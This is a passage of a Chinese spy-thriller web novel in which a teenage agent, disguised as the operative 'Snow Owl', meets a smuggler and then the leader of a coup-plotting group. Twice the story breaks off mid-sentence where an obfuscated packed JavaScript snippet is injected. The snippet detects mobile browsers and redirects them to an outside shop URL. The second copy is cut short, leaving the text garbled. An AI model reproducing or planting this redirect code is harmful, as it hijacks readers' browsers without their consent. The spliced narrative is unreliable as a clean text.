叶馨蒙——或者说拉特娜·维贾亚——坐在茶馆二楼的雅间里。她穿着一身剪裁得体的深灰色西装套裙(租的,押金很贵),头发一丝不苟地盘在脑后(用了半瓶发胶),脸上化着精致的淡妆(刻意画老了五岁),看起来就像任何一个在金融区工作的职业女性——那种每天喝三杯咖啡、开会时偷偷回微信的人。只有仔细观察,才能发现她左手小指上戴着一枚造型奇特的银戒——那是雪鸮的标志性饰物,根据情报,她在重要场合从不离身,洗澡都戴着。 彭迪坐在她对面,面前的茶杯已经空了但他没有续杯——他紧张得忘了。他的手指在桌面上无意识地敲击着某种节奏,那是特种部队时期养成的习惯,用于缓解任务前的紧张,也用于莫尔斯密码练习。 “他们迟到了。”彭迪低声说,看了眼手表:三点零七分——他的表是军用的,误差不超过一秒。 “故意的。”叶馨蒙的声音平静,带着一丝刻意练习的爪哇口音英语,听起来像“在爪哇学过英语但老师有口音”,“他们在测试我们的耐心,也在观察外面有没有异常。现在楼下至少有他们两个人——穿蓝色夹克的那个男人(买了份报纸但拿反了),还有柜台边的女服务生(擦同一个杯子擦了十分钟)。” 彭迪没有转头去看,只是微微点头,动作僵硬。叶馨蒙的观察力让他暗自心惊。他刚才也注意到了那个男人,但女服务生……他完全没察觉异常——他以为她只是做事认真。 “记住,”叶馨蒙继续说,声音压得更低,像在分享秘密,“你是引荐人,不是保镖。不要过度保护我,那会引起怀疑。如果阮文雄提问,你只需要确认我的身份和‘专业能力’,其他交给我——像面试官,但更危险。” “如果他要你证明呢?比如,展示一些‘专业技能’?比如现场拆枪?” “那就展示。”叶馨蒙从随身的手提包里取出一份文件,放在桌上——动作从容,像是在递简历,“这是见面礼。” 36. 代号雪鸮 彭迪瞥了一眼文件封面,瞳孔微微收缩。那是一份标注着“机密”的港口安检流程报告,来自爪哇的丹戎不碌港——东南亚最繁忙的货运枢纽之一,也是走私者的噩梦。 “这是……” “真实文件,三个月前的。”叶馨蒙说,“但足够显示我有获取内部情报的渠道。如果他问来源,就说我在爪哇军方有‘老朋友’——模糊,但可信,就像说‘我有个朋友’。” 脚步声从楼梯传来,不急不缓,每一步的间隔完全一致,像是用秒表测量过——可能真的用了。 叶馨蒙和彭迪交换了一个眼神,同时调整了坐姿。彭迪的手离开了桌面,放在膝盖上(手心出汗)。叶馨蒙则端起茶杯,浅浅地抿了一口,动作从容得像是在自家客厅——如果自家客厅装修成明清风格的话。 雅间的门被推开,竹帘发出轻微的“哗啦”声。 阮文雄走了进来,依然是那身考究的灰色西装(看起来挺贵),左眉上方的疤痕在室内光线下不那么明显了,像是高级粉底遮过。但这次他不是一个人——身后跟着一个身材高大的男人,穿着普通的黑色夹克,面无表情,双手自然垂在身侧,但叶馨蒙一眼就看出那双手的威胁性:指关节粗大,手背上有老茧,是长期练习徒手格斗的痕迹,也可能只是爱做手工。 保镖。或者更准确地说,杀手。或者兼职工,看工资。 “彭先生,抱歉让你久等了。”阮文雄微笑着,目光却落在叶馨蒙身上,像是在估价,“交通比预想的糟糕——有辆运海鲜的车翻了,路上都是鱼。” “理解。”彭迪站起身,握手——手心有点湿,希望没被注意到,“阮先生,这位就是我提到的拉特娜·维贾亚女士。拉特娜,这位是阮文雄先生。” 叶馨蒙没有起身,只是微微颔首,用审视的目光打量着阮文雄——这是雪鸮的风格,从不轻易示弱,除非对方有枪。 “阮先生。”她的声音平稳,没有多余的情绪,像是在念台词。 “维贾亚女士。”阮文雄在她对面坐下,保镖站在他身后,位置刚好能同时监视门口和窗户——专业站位,值得学习,“彭先生对你的评价很高。他说你有些……‘特殊才能’,可能对我们的事业有帮助——比如会开锁,或者会做PPT。” “不是可能,是一定。”叶馨蒙纠正道,将那份文件推到他面前,动作像在发牌,“比如,我知道丹戎不碌港下个月的安检升级计划。如果你们有货物要走那条线,最好提前两周——或者买通检查员,价格表在附录三。” 阮文雄没有立刻去看文件,而是盯着叶馨蒙的眼睛——盯着看,很没礼貌,但特工都这样。叶馨蒙回视,不眨眼,练过。 “我听说过你。‘雪鸮’,爪哇情报圈里的传说。”阮文雄说,语气像是讲故事,“但传说也有一个问题——它们往往夸大其词。比如有人说你能飞,我是不信的。” “那就验证。”叶馨蒙迎上他的目光,毫不退缩——眼睛有点干,但不能眨,“问你想问的。或者,给我一个任务。我不喜欢空谈——除非谈薪水。” 阮文雄笑了,这次是真的笑了,眼角出现细纹——皱纹挺深,平时可能不常笑。他拿起文件,快速翻阅。他的阅读速度极快,几乎是一目十行,但叶馨蒙注意到他在第七页和第十三页停留了稍长时间——那两页详细描述了港口X光扫描设备的盲区和轮班时间表(以及哪些检查员爱偷懒)。 “很有价值。”阮文雄合上文件,放在一边,“但这是过去的情报。我们需要的是现在的,还有未来的——比如明天的彩票号码。” “那就谈未来。”叶馨蒙身体微微前倾,肘部离开桌面——这是自信的姿态,培训过,“我知道你们在瑆洲有动作,需要人手,需要装备,需要通道。我能提供这三样——打包价,有折扣。” “哦?”阮文雄挑了挑眉,右眉动,左眉因为疤痕不太能动,“具体说说,我记一下。” “人手:我在爪哇训练过一支十二人的小队,擅长城市渗透和定点清除——也会做饭。”叶馨蒙流畅地说出庞教官为她准备的背景故事,像背课文,“他们现在闲着,可以调过来——需要报销路费。装备:我有渠道获取非标武器,包括一些……特殊型号。通道:东南亚七个主要港口的安检漏洞,我手里有最新的数据——每月更新,像杂志订阅。” 每一句话都是精心设计的诱饵,足够诱人,但又不至于好得令人起疑——像餐厅菜单,看起来都好吃,但不知道厨师水平。 阮文雄沉默了片刻,手指在桌面上轻轻敲击——节奏和彭迪刚才的一样,可能是巧合,也可能是在暗示“我知道你们的小动作”。然后他转向彭迪,突然换话题:“彭先生,你为她担保。为什么?你们是什么关系?——除了债务关系。” 关键问题来了。叶馨蒙保持着平静的表情,但全身的肌肉都微微绷紧——像猫准备跳。 彭迪按照事先排练的回答,声音稳定(练了一晚上):“多年前在交趾,我救过她哥哥的命。她欠我一个人情。而且……”他停顿了一下,显得像是在斟酌措辞,其实是在回忆台词,“我认同她的能力。如果我们要做大事,就需要专业的人——不能总靠业余的。” “人情。”阮文雄重复这个词,语气玩味,像在品尝红酒,“但我听说‘雪鸮’从不欠人情。她更擅长让人欠她的——然后收高利贷。” 叶馨蒙心里一紧。阮文雄对雪鸮的了解比预期的深。但她早有准备,像准备了小抄的学生。 “那是因为我很少遇到值得我欠人情的人。”她说,语气里故意带上了一丝傲慢,像是米其林厨师评价快餐,“彭上尉不同。他救的是我唯一的家人。而且……”她看了彭迪一眼,眼神复杂(练习过镜子前),“有时候,还清人情的最好方式,就是帮助对方完成他需要做的事——比如还房贷。” 这个回答既解释了动机,又暗示了她知道彭迪的困境——需要向“战鹰”证明价值,但又不想真正涉足太深,像在浅水区游泳。 阮文雄似乎接受了这个解释,或者假装接受。他靠回椅背,椅子发出轻微的“吱呀”声——该上油了。目光在两人之间来回移动,像是在看网球比赛。 “那么,假设我接受你的加入。”他说,用词谨慎,“你能为我们做什么?具体点——我要写报告。” 叶馨蒙知道这是真正的考验。她需要展示价值,但又不能显得太急切——像求职,但不能说“我什么都能做”。 “三天内,我可以给你一份瑆洲警局特别行动队的值班表和装备清单。”她说,语气像是承诺“三天内发货”,“一周内,我能弄到圣保罗医院地下停车场的结构图——如果你们对那里有兴趣的话。我知道那里监控少,但老鼠多。” 圣保罗医院。这是庞教官建议抛出的诱饵,因为情报显示“战鹰”曾多次派人侦查那所医院,目的不明——可能是想偷医疗器械,或者挂号。 阮文雄的表情有了一瞬间的微妙变化。虽然很快恢复平静,但叶馨蒙捕捉到了——她猜对了,医院确实是目标之一。赌赢了,暂时。 “为什么是圣保罗医院?”阮文雄问,语气随意,像是随口一问,但问题本身暴露了兴趣——像猫对逗猫棒的反应。 “因为你们的人上个月去了三次。”叶馨蒙直视他,眼神不闪躲,“虽然伪装得很好——假装是病人、家属、送外卖的——但有一个细节:你们的人总是站在同一个位置观察——住院部大楼的东北角,那里视野好,但风水一般。那里要么有你们的目标,要么有你们需要的信息——或者,你们在等某个医生下班?” 这是赌博。庞教官确实提供了“战鹰”人员监视医院的监控记录,但叶馨蒙不知道他们观察的具体位置。她凭直觉选择了最常见的观察点——结果赌对了。运气好,或者对方太没创意。 阮文雄身后的保镖微微动了一下,那是本能的警惕反应——肩膀绷紧,零点五秒。 雅间里安静了几秒,只有楼下传来的隐约茶具碰撞声和低语,还有远处三轮车的铃铛声。 然后阮文雄笑了,这次是真正满意的笑,像是买到打折商品。 “很好。”他说,“彭先生没看错人。”他从西装内袋取出一个黑色的小盒子(像首饰盒,但更朴素),推给叶馨蒙,动作像递婚戒,“这是见面礼,也是测试——像入职考试。” 叶馨蒙打开盒子。里面是一个微型通讯器,比纽扣稍大,通体黑色,没有任何标识——像纽扣,但更贵。 “频率已经设定。”阮文雄说,“明天晚上八点,会有一个任务指令。完成它,你就正式成为我们的一员。完不成……”他没有说完,但意思明确——可能没有第二次面试机会。 “什么任务?”彭迪问,声音里有一丝紧张,像家长问孩子“作业难不难”。 “到时候就知道。”阮文雄站起身,整理西装下摆,“单独任务,彭先生。这是对新人的标准流程——防止作弊。”他看着叶馨蒙,“你有问题吗?” 叶馨蒙拿起通讯器,仔细看了看,然后放进口袋——动作自然,像放钥匙:“没有。但我也有一个条件——像劳动合同附加条款。” “说。” “如果任务涉及我不认同的……手段,我有权拒绝。”她说,语气坚定,“我是专业人士,不是屠夫。这一点要明确——就像厨师不做他不认可的菜。” 这是庞教官特别强调的:要塑造雪鸮有原则的形象——不是道德原则,而是职业原则。这样既能解释她为什么有时会拒绝某些任务(比如伤及无辜),又能让她显得更可信——真正的顶级特工都有自己的一套准则,像艺术家有风格。 阮文雄盯着她看了几秒,眼神像是X光扫描。然后点头:“合理。我们也不是屠夫,彭先生可以作证——我们只是……有追求的商人。”他转向彭迪,话题又转,“那么,资金的事……” “需要更多细节。”彭迪说,进入了银行家模式,“我需要知道资金的具体用途,才能安排最安全的流转路径——还要考虑税率。” “下次会面时给你。”阮文雄看了眼手表,表盘复杂,功能很多,“我还有另一个会,关于进出口的。”他没有握手,只是点了点头,然后带着保镖离开了雅间。脚步声渐行渐远,最后消失在楼梯尽头——走得很快,像赶时间。 彭迪等到完全听不到声音后,才长长地舒了口气,肩膀垮下来,额头已经沁出细密的汗珠——像刚跑完步。 “他相信了。”他说,声音有些颤抖,不知道是紧张还是解脱。 “暂时相信了。”叶馨蒙纠正,从口袋里取出那个通讯器,用随身携带的小型扫描仪检查——仪器嗡嗡响,“有定位功能,还有环境录音。标准的监视设备——还有心率监测,可能想看我紧不紧张。” “你要戴着它?” “当然。”叶馨蒙把通讯器别在衣领内侧,动作熟练,“不戴才会引起怀疑。但我会在需要的时候,制造一些‘自然’的干扰——比如路过变电站,或者进电梯。” 她开始收拾东西,动作迅速但不慌乱,像下班打卡:“彭先生,你先走。分开离开更安全——像不熟的同事。回去后,一切如常,不要主动联系我。如果阮文雄问起,就说你完成了引荐,剩下的看我自己——像介绍工作,但不管试用期。” “那个任务……”彭迪担忧地说,眉头皱成川字,“如果是……不好的事呢?比如,伤害别人?” 叶馨蒙的手顿了顿,文件塞到一半。她想起庞教官的指示:如果任务涉及伤害无辜,要想办法破坏或误导,但不能直接拒绝——那会立刻暴露,像考试交白卷。 “我会处理。”她最终说,声音比刚才低,“现在,走吧。从后门——厕所旁边那个。” 彭迪看了她一眼,眼神复杂——有担心,有愧疚,有“为什么是我”的无奈。最终点了点头,起身离开,背影有点驼。 叶馨蒙独自在雅间里又坐了五分钟。她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16937054|192889||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 慢慢地喝完已经凉了的茶(味道一般),观察着窗外的街道。阮文雄的黑色轿车已经不见了,但那个穿蓝色夹克的男人还在对面的书店门口,假装看报纸——报纸还是反的。女服务生也还在柜台后,正擦拭着杯子——已经擦了十五分钟,杯子该破了。 她起身,结账(用现金,不留痕迹),从容地走下楼梯。木楼梯吱呀作响,像在抱怨。经过柜台时,她对女服务生微笑了一下——一个职业女性对服务人员的礼貌微笑,没有任何特别之处,除了知道对方是特工。 走出茶馆,午后的阳光有些刺眼。叶馨蒙沿着老街不紧不慢地走着,偶尔在橱窗前驻足,像个普通的逛街者——如果普通逛街者会数身后有几个跟踪者的话。 但她的大脑在高速运转,分析着刚才会面的每一个细节,像回放录像。 阮文雄接受得太快了。虽然她抛出的诱饵足够诱人,但像“战鹰”这样的组织,对新成员的审查应该更严格才对——至少应该背景调查三个月,还要性格测试。除非…… 除非他们急需人手,急需到可以降低标准——像餐馆高峰期招临时工。 或者,他们根本不打算真正接纳她,只是利用她完成某个特定任务,然后处理掉——像一次性餐具。 又或者,他们早就怀疑她的身份,正在布置一个更大的陷阱——请君入瓮,瓮还带盖。 叶馨蒙停下脚步,在一家古董店的橱窗前看着里面的瓷器(标价惊人)。玻璃的反光中,她看到那个蓝色夹克男人还在身后大约三十米处,依然保持着距离——很专业,但跟得太紧,新手。 跟踪还在继续。阮文雄没有完全信任她,这很正常——谁会完全信任一个突然出现的传奇特工? 但问题是,这种跟踪是常规的谨慎,还是已经发现了什么?比如发现她是高中生,或者发现她租的衣服标签没剪? 她想起阮文雄听到“圣保罗医院”时的微妙反应。莫非知道这家医院的底细,让“战鹰”如此感兴趣?庞教官只说那是军方的秘密联络点但细节从未透露——像“有些事你不知道比较好”。 还有明天晚上的任务。会是什么?盗窃?监视?还是……更糟糕的事?比如让她去偷试卷,那她可能真的会。 叶馨蒙深吸一口气,继续向前走。现在想太多没有意义,只会增加焦虑——像考试前瞎想。她需要回到安全屋,向庞教官汇报(可能被批评),然后准备应对任何可能——包括最坏的可能。 转过街角时,她的手机震动了一下。不是那部加密手机,而是普通的生活手机——瑞华高中班级群的消息,同学们在讨论周末的聚会(火锅还是烤肉),还有人在发化学作业答案(错的)。 叶馨蒙看着屏幕上跳动的表情包和玩笑话,突然感到一阵强烈的割裂感。那些同龄人在担心考试和约会,而她在担心如何在一个恐怖组织中生存下来——还要写作业。 她关掉手机,加快了脚步,像是要逃离什么。 双重生活。双重身份。每一天,这种割裂都在加深。有时候她担心,终有一天,那个叫叶馨蒙的普通女孩会完全消失,只剩下代号“金环蛇”的特工,和此刻扮演的雪鸮——像演员入戏太深。 但现在已经没有退路了。像上了过山车,不能中途喊停。 她已经踏入鹰巢的边缘,要么成功潜入,要么坠落身亡——物理意义上的。 街边的路灯开始一盏盏亮起,傍晚的瑆洲笼罩在柔和的暮色中。叶馨蒙的身影融入下班的人潮,像一滴水汇入河流,不留痕迹——除了有人跟踪。 而在城市的另一端,阮文雄正坐在行驶的车里,听着耳机里的汇报。车里空调开得很低,但他没感觉。 “目标已返回公寓,途中无异常接触——买了瓶水,用了现金。”蓝色夹克男人的声音传来,有点喘,“需要继续监视吗?我饿了。” “继续,但保持距离——别跟丢了,也别被发现。”阮文雄说,“另外,启动对‘拉特娜·维贾亚’的深度背景核查。我要知道她在爪哇每一个任务的细节,每一个联系人,每一次出入境记录——包括她用什么牌子的洗发水。” “明白。那明天的任务……” “照常进行。”阮文雄看向窗外飞逝的街景,霓虹灯开始闪烁,“让我们看看这只‘雪鸮’,到底是真的猛禽,还是披着羽毛的鸽子——或者是鸡,会飞的那种。” 他挂断通讯,打开另一个加密频道,设备嗡嗡响: “战鹰先生,新人已接触。初步评估:专业,自信,有所保留——像所有好特工。已安排测试任务。另,她提到了圣保罗医院,似乎知道我们在关注那里。建议提高医院周边警戒等级——多派点人,伪装成病人。” 几秒后,回复传来,声音经过处理,像机器人: “收到。继续观察。如果她通过测试,带她来见我。是时候让新人见见鹰巢的真容了——别吓着她。” 阮文雄关掉设备,嘴角浮现出一丝冷笑,在昏暗的车里显得有点吓人。 测试任务已经准备好了。那不是一个简单的任务,而是一个精心设计的陷阱——无论雪鸮选择完成任务还是拒绝,都会暴露她的真实立场和身份。像心理测试,但带枪。 真正的猎手,从不会把猎物请进巢穴,除非确认那猎物的爪牙已经拔除,或者……那猎物本来就是猎手伪装的。那么就是猎手对决,更刺激。 夜色渐浓,城市换上晚装。 游戏进入下一轮,赌注升级。 叶馨蒙回到安全屋,脱下高跟鞋(脚疼),看着镜子里那个“职业女性”。她慢慢卸掉妆容,露出十八岁的脸,有点疲惫。 手机又震了,是庞教官的消息:“汇报。另,你的化学老师问你怎么没交作业。” 叶馨蒙叹了口气,坐在电脑前,开始写任务报告,同时思考怎么编造没交作业的理由。 窗外,瑆洲的夜晚刚刚开始。而对于某些人来说,夜晚才是真正的工作时间。 37. 鹰巢之内 测试任务出人意料地简单——至少表面如此。 叶馨蒙在次日晚上八点准时收到指令,震动提示音响起时她正在安全屋里做化学题,差点把方程式写错。她叹了口气,合上练习册——总比写作业强。 指令内容简洁得可疑:前往城东物流园区的第七号仓库,接收一批“特殊货物”,并护送至指定地点。货物是六个密封的金属箱(每箱都有物流单号,看起来像普通快递),护送距离不超过五公里,目的地是码头区的一个私人仓库。 没有枪战,没有追捕,甚至没有遇到任何盘查——除了路过一个查酒驾的交警,看了她一眼就放行了。整个过程顺利得令人不安,像玩电子游戏开了简单模式。 叶馨蒙完成了任务,在指定时间将货物送达(比GPS预计早了三分钟),然后收到阮文雄的简短消息:“表现合格。准备进入下一阶段。”——连个表情符号都没有,很官方。 合格,但不是优秀。这很微妙——既认可了她的能力,又没给予太高评价。叶馨蒙明白,这是阮文雄的控制手段:保持距离,保持压力,像老板对试用期员工。 三天后,真正的邀请来了——像录取通知书,但没写学校。 傍晚六点,叶馨蒙的加密通讯器(纽扣大小,别在衣领上)收到一组坐标和一句话:“今晚九点,一个人来。穿适合行动的衣服。——别迟到,我们不等人。” 坐标指向瑆洲湾南侧的一片废弃造船厂,那里远离市区,夜间罕有人迹——除了可能的情侣和拾荒者。庞教官的分析认为,那里很可能是“战鹰”在瑆洲的临时据点之一,或者是他们用来测试新成员的“考场”——可能还有笔试。 叶馨蒙换上黑色战术服——不是军用的那种(太显眼),而是城市潜行用的轻便款式,在关节处有加固,面料防刮且有一定防刃性能(但防不了子弹)。她检查了随身装备,像在整理文具袋:一把紧凑型手枪(雪鸮惯用的型号,9毫米,容弹量15发,手感不错)、两个备用弹匣(装满)、一把多功能匕首(能开罐头也能割绳子)、微型通讯器(加密频道)、夜视仪(单筒,轻便),还有几个小工具——□□、信号干扰器、甚至一小管高浓缩辣椒喷雾(“防狼”用,但能防更多)。 这是经过精心计算的装备组合:足够专业,但不过分军事化,符合一个城市情报员的身份——像是“低调但有准备”的风格。 八点三十分,她驾车离开市区。后视镜里,她确认没有车辆跟踪——或者说,没有明显的跟踪。阮文雄一定以其他方式监视着她,也许是卫星(成本太高),也许是沿途的固定监控点(更可能),也许是无人机(现在很流行)。 九点整,她抵达废弃造船厂,准时得像上课铃。 月光下,厂区的轮廓像一头沉睡的钢铁巨兽——生锈的那种。生锈的龙门吊高高耸立,像恐龙的骨架;破损的船坞里积着黑色的雨水,水面漂着油污和垃圾;空气中弥漫着海腥味和铁锈味,还有一丝若有若无的尿骚味。风吹过空旷的厂房,发出呜咽般的声音,像在说“别进来”。 叶馨蒙将车停在厂区外五百米处的树林边(附近有几辆废弃的车,可能是道具),然后步行进入。她的脚步很轻,但踩在碎石上还是有声音。眼睛快速扫视四周:左侧的瞭望塔上有微弱的反光——可能是镜头,也可能是狙击步枪的瞄准镜(希望不是);右侧的仓库屋顶,一个人影短暂出现又消失(动作挺快);正前方的主厂房门口,两个男人站在那里,身形在月光下拉出长长的影子(像门神)。 她径直走向主厂房,没有隐藏自己的存在。这种场合,试图潜行反而显得可疑——像迟到溜进教室的学生,更容易被注意到。 “止步。”门口的一个男人说,声音沙哑,像是抽烟太多。他穿着普通的工装(沾着油渍),但腰间有明显的隆起——武器,可能是手枪,也可能是对讲机。 “拉特娜·维贾亚。”叶馨蒙报出名字,语气自然,“阮先生约我来的——应该是这个地址吧?导航不太好用。” 男人用对讲机说了几句(声音很低),然后点头:“进去。直走,不要左转也不要右转——除非你想被误会。” 叶馨蒙走进厂房内部。这里比她想象中要大得多,高度超过二十米,宽如足球场——如果足球场堆满废铁的话。月光从破损的屋顶漏下,形成一道道银白色的光柱,照亮空气中漂浮的尘埃(过敏者慎入)。大部分空间都是空的,但在厂房深处,她看到了灯光——不是明亮的白炽灯,而是昏暗的红色光线,像某种生物的巢穴在黑暗中呼吸,也像暗房。 她沿着指示的方向前进,脚下是积满灰尘的水泥地面,偶尔会踩到废弃的螺栓或碎玻璃(声音很响)。四周的阴影里,她能感觉到目光——不止一双,至少有五六个人在暗处监视着她,像在观察新来的动物。 一百米后,她到达灯光区域。 这里被改造成了一个临时的指挥中心,但装修风格是“废土工业风”。几张长桌上摆着电脑和通讯设备(都是笔记本电脑,没台式机);墙上挂着瑆洲市区的大幅地图(书店买的,折痕明显),上面用不同颜色的图钉标注着位置;角落里堆放着一些箱子,从外包装看,里面应该是武器和装备(也可能是工具箱)。 大约有十几个人在场。有的在操作电脑(打字很快),有的在擦拭武器(动作熟练),有的在低声交谈(听不清内容)。他们穿着各异,但都有一种共同的气质:警惕、干练、眼神锐利——像是刚开完会的社畜,但更危险。叶馨蒙快速评估:至少一半有军事背景(坐姿),三分之一可能是前执法或特工人员(眼神),剩下的可能是技术员(戴眼镜)。 而在房间中央,一张简陋的金属桌(可能是从学校偷的)旁,坐着两个人。 左边是阮文雄,依然穿着西装(可能有好几套),与周围的环境格格不入,像是来工地视察的领导。右边则是一个叶馨蒙从未见过的男人——但一看就知道是谁。 那男人大约五十岁,头发灰白,剃得很短,像刚修剪的草坪。他穿着普通的卡其色夹克和工装裤(沾着灰尘),但坐姿笔直如松,肩膀宽阔,双手放在桌面上——那是一双大手,指节粗壮,手背上布满了细小的疤痕(像是工作事故,也可能是打架)。他的脸棱角分明,左颊有一道从眼角延伸到下颌的旧伤疤,让他的表情看起来永远带着一丝凶狠——即使他可能在微笑。 但最引人注目的是他的眼睛。那是一双鹰隼般的眼睛,锐利、冰冷、似乎能穿透一切伪装。当他的目光落在叶馨蒙身上时,她感到一种本能的寒意——那是被捕食者盯上的感觉,像老鼠见猫。 “战鹰。”她心里想。这个组织的头目,终于现身了——看起来比照片凶。 “拉特娜·维贾亚。”阮文雄开口,语气比在茶馆时更正式,像是在介绍重要客户,“欢迎来到鹰巢——临时版本。” 叶馨蒙点头致意,没有立刻说话。她在等待对方先开口——在这种场合,少说多听是明智的选择,像面试。 “我是战鹰。”那个男人说,声音低沉而沙哑,像是砂纸摩擦木头,“阮先生说你很有潜力。但我需要亲眼确认——简历可以造假。” 他说话的方式很直接,没有任何寒暄或客套。这是一个习惯发号施令的人,一个认为时间宝贵到不能浪费在礼节上的人——也可能只是没礼貌。 “您想怎么确认?”叶馨蒙问,声音平稳,虽然心跳有点快。 战鹰没有回答,而是对旁边一个手下做了个手势。那是一个身材瘦高的男人,看起来三十多岁,脸上没有任何表情——扑克脸。他走到叶馨蒙面前,突然出手,一掌劈向她的颈侧。 偷袭。测试反应速度。很不绅士,但有效。 叶馨蒙没有后退(没地方退),而是侧身、抬手、格挡,动作一气呵成——练过很多次。瘦高男人的手掌劈在她的前臂上,发出沉闷的撞击声(很疼)。她顺势抓住对方的手腕,身体旋转,想要使用关节技,但对方显然也是高手,迅速挣脱,后退一步——点到为止。 整个过程不超过三秒。叶馨蒙的手臂隐隐作痛,但她没表现出来。 厂房里安静下来。所有人都停下了手中的事,目光集中在这场短暂的对抗上——像看街头表演。 “反应速度:优秀。”战鹰面无表情地评价,像体育老师,“格斗技巧:实用但不够致命。你需要训练——或者别跟人打架。” 叶馨蒙松开握拳的手,手臂的痛感在加剧。那一掌的力量很大,如果不是她及时格挡,可能已经失去意识——或者至少脖子很疼。 “我不是格斗专家。”她说,没有试图掩饰自己的弱点——在这种人面前,掩饰只会显得愚蠢,像不会做题还装懂,“我的专长是情报获取和计划制定——还有逃跑。” “我知道。”战鹰说,从桌上拿起一份文件,动作慢条斯理,“这是你的‘简历’。爪哇军方反恐顾问、私人安保公司战术指导、三次成功的情报窃取行动……很漂亮的履历,像求职网站上的。” 叶馨蒙心里一紧。那份文件一定来自雪鸮的真实档案——或者说,庞教官为她伪造的档案中那些真实的部分。战鹰能拿到这些,说明他的情报网络确实强大——或者他会上网搜。 “但这里有个问题。”战鹰抬起头,鹰隼般的眼睛直视她,像要看穿她的脑门,“根据爪哇方面的消息,你在三个月前被捕了。拘留中心有你的关押记录。那么现在站在这里的,是谁?——双胞胎?” 致命问题。叶馨蒙早有准备,但真正面对时,心跳还是不由自主地加快了——像考试遇到难题。 “关押记录是真的。”她平静地说,努力让声音不抖,“我也确实在那里待了七十二小时。然后我逃出来了——用了一些技巧。” “从高度设防的拘留中心?”阮文雄插话,语气里带着明显的怀疑,像是听到了离谱的故事,“据我所知,那里从未有人成功越狱——除了电影里。” “那是因为越狱的人都不会声张。”叶馨蒙看向战鹰,决定抛出重磅筹码,像出王牌,“而且,我有内应。爪哇国家安全局里,有我的人。他们帮我伪造了死亡记录,让我‘消失’了——像证人保护计划,但更便宜。” 这是庞教官设计的最关键谎言,也是风险最大的部分——因为如果“战鹰”在爪哇国安局真有内线,这个谎言会被立刻戳穿。但根据情报分析,“战鹰”在爪哇的渗透主要在军方和警察系统,对国安局的渗透有限——就像小偷进不了银行金库。 战鹰盯着她看了很久。厂房里只有电脑风扇的嗡嗡声和远处海风的呼啸,还有不知道谁的肚子叫了一声。 “内应的名字。”他最终说,语气不容置疑。 叶馨蒙摇头,动作坚定:“不可能。保护线人是基本原则。如果您不相信,可以验证其他部分——比如我在龟背岛的安全屋(租的),或者我在吉隆坡的银行账户(余额不多)。但线人的身份,绝不透露——这是我的底线。” 这是一种谈判策略:在非关键问题上强硬,可以增加整体可信度。如果她轻易说出“内应”的名字,反而会引起怀疑——像打折太狠的商品。 战鹰的手指在桌面上轻轻敲击。一下,两下,三下——像是在倒计时。 “很好。”他最终说,手指停下,“原则性很重要。但你也必须明白,加入鹰巢意味着绝对忠诚。你不能有自己的秘密——至少,不能有对我们不利的秘密。其他的……可以保留。” “我明白。”叶馨蒙说,松了口气但没表现出来,“但忠诚是相互的。我需要知道,我能从鹰巢得到什么——除了工资。” 直接谈条件。这是雪鸮的风格,也是唯一能让战鹰这种人物信服的方式——像谈生意。 战鹰第一次露出了几乎可以算作笑容的表情——只是嘴角微微上扬,但眼神依然冰冷,像冰箱里的灯。 “资源。保护。还有……刺激。”他说,每个词都像扔出来的石头,“我们在瑆洲的计划,将改变这个地区的格局。参与其中,你会得到普通人几辈子都积累不来的财富和权力。当然,还有死亡的风险——比普通工作高。” “我从不惧怕风险。”叶馨蒙说,听起来像台词,“但我需要知道计划的大致轮廓。我不能为我不知道的事情卖命——像签空白合同。” 阮文雄想要说什么(可能想说“你问题太多”),但战鹰抬手制止了他——像老师让学生别插嘴。 “合理要求。”战鹰站起身,走到墙上的地图前,背着手,“我们的目标,是改变瑆洲的政治生态。目前掌权的政府过于……温和,过于依赖外部势力。我们需要一个更强大、更自主、更符合地区利益的领导层——具体是谁,还没定。” 他说得很隐晦,但叶馨蒙听懂了:政变。或者至少是某种形式的强制权力更迭——像公司换CEO,但更暴力。 “这需要武力。”她说,陈述事实。 “当然。”战鹰的手指在地图上划过,像在画线,“但我们不是要发动全面战争。而是精确打击:控制关键设施,切断通讯,瘫痪指挥系统,然后在混乱中扶植我们的人上位——效率高,成本低。” 他的手指停在了几个地点:政府大楼(最高的)、广播电视台(有天线)、通讯枢纽(很多线)、发电厂(亮灯的)……还有圣保罗医院。 叶馨蒙的目光在医院的位置停留了一瞬。为什么是医院?那里有什么特殊价值?难道是VIP病房? “圣保罗医院是关键。”战鹰似乎读懂了她的疑惑——或者她表情太明显,“那里不只是医院,还是军方的情报中转站。控制那里,就等于控制了瑆洲军方的耳朵和眼睛——还能顺便拿点药。” 原来如此。叶馨蒙表面上不动声色(练习过),但内心震动。庞教官从未透露医院在军方情报网络中的核心地位——也许是为了保密,也许是她这个级别还不能知道,像员工不知道公司战略。 “计划的时间表?”她问,像项目经理。 “还在完善。”战鹰没有给出具体时间,走回桌旁坐下,“取决于几个因素:人员到位情况、装备准备情况,还有……资金。总是资金。” 他的目光转向阮文雄,后者点了点头,像是确认。 “彭迪先生已经同意提供初步资金。”阮文雄说,语气像是在汇报进度,“但我们需要更多。这就是你的价值之一,维贾亚女士——你声称知道那批军火的下落。如果那些武器能为我们所用,将大大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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以退为进。这是危险的策略,但对付战鹰这种人,示弱反而更危险——像在野兽面前发抖。 战鹰和阮文雄交换了一个眼神(无声交流)。几秒后,战鹰点头,像是做了决定。 “很好。我给你两周时间。”他说,像批假条,“但这两周,你必须在我们的监视下活动。不是不信任,只是标准程序——像实习期。” “理解。”叶馨蒙说,心里想“当然不信任”,“但我需要一定的自由活动空间,去安排军火交接的事。如果每一步都被盯着,我没法工作——像被监考。” “合理。”战鹰做了最终决定,“阮先生会负责你的‘陪同’。你们明天就出发去龟背岛。如果两周内军火到位,你就正式成为鹰巢的核心成员,参与计划的制定。如果失败……” 